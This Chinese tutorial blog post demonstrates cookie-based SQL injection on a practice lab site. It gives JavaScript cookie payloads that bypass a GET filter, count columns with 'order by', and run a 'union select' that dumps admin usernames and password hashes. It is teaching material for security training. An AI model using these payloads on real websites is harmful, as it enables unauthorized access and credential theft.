百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 技术教程 > 正文

再一次重现sql注入,黑客技法详解

suiw9 2025-04-05 22:28 6 浏览 0 评论

经过了我们前段时间的sql注入学习,今天我们来深入学习一下sql注入之cookie注入

首先我们打开靶场环境

随便点开一篇文章

尝试在结尾构造一下 and 1=1

可见是使用了防注入的,但是目前我们是使用get方式提交的参数,我们将id=171包括后面的全部删除一下试试

显示数据库出错

这里存在cookie注入,首先我们恢复成原来的界面

然后我们下载一个ModHeader浏览器插件,将cookie设置为id的值。然后我们访问

其去掉后面?id的网页,发现并没有显示数据库出错了

然后将IE栏清空,输入

javascript:alert(document.cookie="id="+escape("171"));

这个语句就是构造一个JS,把内容插入到cookie里面去

返回出一个id=171

然后我们来手工注入一下他的字段数

javascript:alert(document.cookie="id="+escape("171 order by 10"));

可以知道他有10个字段数

然后我们里显示他的值

javascript:alert(document.cookie="id="+escape("171 union select 1,2,3,4,5,6,7,8,9,10 from admin"));

再刷新一遍发现显示2,3

然后我们来破解账号和密码

javascript:alert(document.cookie="id="+escape("171 union select 1,password,username,4,5,6,7,8,9,10 from admin"));

得出来MD5加密后密码,解密后welcome,然后就可以登录后台了。

最后喜欢我文章的朋友请加圈子关注我们,私信关键词:加群。(送免费资料和优惠券)

就会自动分享给你群号。欢迎大家加入我们的安全大家庭。提高大家的安全意识,提升大家的网络安全技能一直是我们的初衷和愿景,让我们共同成为守护信息世界的"SaFeMAN"。

还有可以关注我们微信公众号,在公众号上输入安界网,就可以关注到我们,领取资料和优惠券!

相关推荐

交互设计师做好动画后,提交给开发的文档有哪些?

谢邀!简单的说一下自己的看法。首先从制作动画开始。目前制作动画的方式主要有:Gif动画视频动画Web动画,而Web动画又包括:CSS动画、JS动画(Canvas动画、原生JS动画API)、SVG动画等...

8个提高效率的设计工具分享(8个提高效率的设计工具分享心得体会)

日常工作实在繁忙,如果我们可以使用一些辅助工具的话,可以加快和更好地实现自己的项目。今天整理8个新设计工具和插件给办公白领们,希望大家喜欢。1、ScrollmejQuery插件这是一个有点类似视差滑...

有哪些优秀的图片素材网站,你却不知道?

关于设计素材、图片、源文件的网站有很多。但是今天我给大家推荐几个特别好用的。总有些人没用过文章现在今天就分享3个。还有其他不错的网站需要的话可以加我微信(gla2016)我给你发链接。一、视图网(ht...

Rainyday.js – 实现雨滴效果JS插件

Rainyday.js背后的想法是创建一个JavaScript库,利用HTML5Canvas渲染一个雨滴落在玻璃表面的动画。Rainyday.js有功能可扩展的API,例如碰撞检测和易...

JavaScript如何入门?(javascript初级教程)

1,建议阅读“javascript高级程序设计”第三版电子版。(我刚开始学习,我向表哥(软件工程师)说我想做前端,于是,他帮我买了这本书,好的书大家都会推荐,很容易在网上找到,也没有必要我说一定是这...

苏州网页设计- 网页设计中的备份与恢复指南?

苏州网页设计-网页设计中的备份与恢复指南?-常见问题-苏州网站建设-苏州网页设计-苏州网络公司五一点创网络科技...

做设计还只知道花瓣包图网?这100+个免费商用素材网站送给你

作为设计师你常用的网站是哪些呢?花瓣?站酷?千库?千图?包图?这些网站确实是大家最常用的网站,各种风格的元素、模板、源文件,用起来可以说是得心应手了~但是一旦出现了这个场景,你就也跟着崩溃了........

如何打开PSD格式文件?(如何打开.psd文件)

设计师在交接文件时,会看到各种格式的扩展文件,不同的格式需要不同的软件来运行。大多数人都听说过流行的文件格式PSD,因为它是最常用的图片格式之一,还有JPG、PNG等。然而,与JPG和PNG不同的是,...

2.3 文件格式全解:PSD/JPG/PNG/SVG/GIF

2.3文件格式全解:PSD/JPG/PNG/SVG/GIF一、文件格式的核心意义文件格式是数字图像的存储规则,决定了:-信息保留程度(图层/透明度/动画)-压缩方式与画质损失...

一周国外众筹项目精彩看点(国外众筹模式)

安珀网(公众号:ianpocom)上周介绍的1款Kickstarter众筹新品是:Skugga智能太阳镜。而在Indiegogo众筹的2款新品分别是AllBe1多功能智能家居安防产品、Pura智能猫...

React-Native 样式指南(react-native-view-shot)

React-Native样式指南React-Native的样式基本上是实现了CSS的一个子集,并且属性名不完全一致,所以当你开始在编写React-Native之前,可以先简要了解一下。...

分光测色仪在铂钴色度测定上的应用

纺织、印染、石油、电池等化工行业,在生产过程中往往会产生很多工业废水,检测废水色度的国家标准主要采用铂钴比色法和稀释倍数法。...

无线充电的智能追踪挂件 Tintag(无线充电gps定位跟踪器)

智能追踪挂件给生活带来无尽的欢乐,缩短了人们寻找物品的时间,也给生活增添了一份保障,对于经常丢东西的人来说,简直是福音。智能追踪挂件作为智能产品的领头羊、排头兵,也会面临炮灰的风险,人们使用时经常将其...

鸿蒙底部导航栏 vs 安卓底部导航栏

BottomNavigationBar底部导航栏,可以说所有的App是这样的页面架构,原因很简单,操作简单,模块化清晰,页面切换流畅,而且每页都可以展示不同的风格。...

Andriod APK体积优化(android包大小优化)

...

取消回复欢迎 发表评论: